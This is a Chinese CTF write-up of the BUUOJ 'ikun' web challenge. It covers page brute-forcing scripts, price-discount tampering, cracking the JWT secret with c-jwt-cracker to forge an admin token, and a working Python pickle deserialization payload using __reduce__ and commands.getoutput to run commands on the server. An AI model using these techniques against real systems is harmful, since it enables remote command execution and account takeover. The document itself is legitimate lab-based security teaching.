https://buuoj.cn/challenges#[CISCN2019%20%E5%8D%8E%E5%8C%97%E8%B5%9B%E5%8C%BA%20Day1%20Web2]ikun
知识点: 脚本 jwt pickle反序列化
一看BUU还有很多国赛题,国赛题一般都能学到很多东西,所以觉得先做国赛题,然后准备打打rund7和西湖论剑,哦我又想起来hgame还没打了2333
【资料图】
言归正传:
好家伙,一来先登录一下,这里F12看到提示:
然后F12看到提示:
当然第一步的提示很明显
为什么我只有10块钱,桑心,发现每页的图片都是命名的lv几
那一页一页翻几百页,肯定不是这样做的,多半是写脚本,但是以我水平,写不来捏:
感谢大佬:
https://blog.csdn.net/eliforsharon/article/details/123065353
import requestsfor i in range(1, 1001, 1): url = "http://60e5343c-8126-4686-9904-460daa610afa.node4.buuoj.cn:81/shop?page=" url += str(i) x = requests.get(url) if "lv6.png" in x.text: print(i)
再次感谢大佬:
https://blog.csdn.net/qq_41628669/article/details/106133124
#coding:utf-8import requestsimport timefor i in range(1,200): print(i) url = 'http://1ecaa26f-c825-4bf8-861a-a2b0f2a73316.node3.buuoj.cn/shop?page={}'.format(i) r = requests.get(url) if 'lv6.png' in r.text: print(i) break if r.status_code == 429: print("too fast") time.sleep(2)
这里我一直报错:AttributeError: module 'requests' has no attribute 'get'
按道理来说是因为文件名问题,可是我自己的文件名起的是IKUN,而且每次输出都会先输出12345 和其 md5形式的问题,后来我发现,是我当前文件夹里面有一个requests.py,但是其内容没有用到request模块,所以那个脚本当时没什么问题,后来我们放其他用到requests的脚本时就调用了这个py文件,然后报错,值得自己反思。
这里爆破出来在181页:
但是我只有10块钱,点击购买,抓包看看能不能改价格或者折扣
看到末尾有参数:
把0.8改成很小,最后价格小于10就行了,得到下一个网站地址,访问提示:
那抓包看看有没有验证参数或者cookie:
很眼熟的JWT,我们在[HFCTF2020]EasyLogin里讲过关于JWT的组成构造和原理
当然也可以看这篇博客:https://blog.csdn.net/cdyunaq/article/details/122561096
话说回来:
我们丢到JWT网站看看构造:
与当时的情况不同的是,这里明显有jwt签名,需要我们找密钥,那一般都要用到我们的
工具:c-jwt-crack,github上有https://github.com/brendan-rius/c-jwt-cracker
放一下readme.md内容,值得注意的是
有jwt-cracker这个工具只适用于单一签名加密,即HS256,
c-jwt-cracker和jwttools一样是暴力破解JWT私钥的工具
可以根据这个博客:https://blog.csdn.net/qq_64973687/article/details/128430526
按照其教程一步的安装下载与利用jwttools,这里我所演示的是c-jwt-cracker
然后就是解压,make一下,然后跑脚本,这里我改了文件名的,无需在意差别。
爆破出来后我们根据网站https://jwt.io/重新构造JWT签名,记得把用户名改成admin
然后到了新界面:
然后f12看到提示,发现源码泄露,同时抓包出现新参数become:
打开www.zip,沿着找到become参数的思路发现Admin.py
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
关键点在于pickle,根据在研究大佬WP时找到:
https://www.freebuf.com/articles/web/252189.html
pickle
或cPickle
,作用和PHP的serialize与unserialize
一样,两者只是实现的语言不同,一个是纯Python实现、另一个是C实现,函数调用基本相同。
关于其过程,在这里我说多了不如直接看别人博客,我都是第一次遇到,
整个序列化的过程可以分为三个步骤
从对象中提权所有属性
写入对象的所有模块名和类名
写入对象所有属性的键值对
其他重点可以看他的,这里简述一下反序列化漏洞:
反序列化漏洞出现在 __reduce__()
魔法函数上,这一点和PHP中的__wakeup()
魔术方法类似,都是因为每当反序列化过程开始或者结束时 , 都会自动调用这类函数。而这恰好是反序列化漏洞经常出现的地方。
当 __reduce__()函数返回一个元组时 , 第一个元素是一个可调用对象 , 这个对象会在创建对象时被调用 . 第二个元素是可调用对象的参数 , 同样是一个元组。这点跟我们上面提到的PVM中的R操作码功能相似,可以对比下:
值得一提的是,在py2中,只有内置类才有__reduce__
方法,即用class A(object)
声明的类
如果你使用class A的话会和class A(object)的结果不同,并且得不到结果,但是py3中,两者结果一样,因为py3已经默认都是内置类了
话说回来:
在admin.py中
self.render('form.html', res=p, member=1)这段代码的意思就是找到模板文件,进行渲染,从而显示页面
而在form.html中, <div class="ui segment">{{ res }}</div>这句话说明传入是可以回显的
那我们的目的明显是读取flag文件,然后利用res输出内容。
因为系统函数大多都是print输出,所以我们需要找一个新的函数:commands.getoutput()
然后payload:
# coding=utf8
import pickle
import urllib
import commands
class payload(object):
def __reduce__(self):
return (commands.getoutput,('ls /',))
a = payload()
print urllib.quote(pickle.dumps(a))
#ccommands%0Agetoutput%0Ap0%0A%28S%27ls%20/%27%0Ap1%0Atp2%0ARp3%0A.
这里第一个对象form.html被调用,第二个参数返回结果,因为第二个参数res可以回显,所以这里返回的ls /也回显了出来,将结果作为become参数,回显flag位置在flag.txt
剩下的就是换命令内容,然后得到flag:
最后因为要出去吃饭了有点赶时间,比较抱歉,下次遇到同样类型的反序列化,一定详讲并举例。
那么,期待我们下一题再见!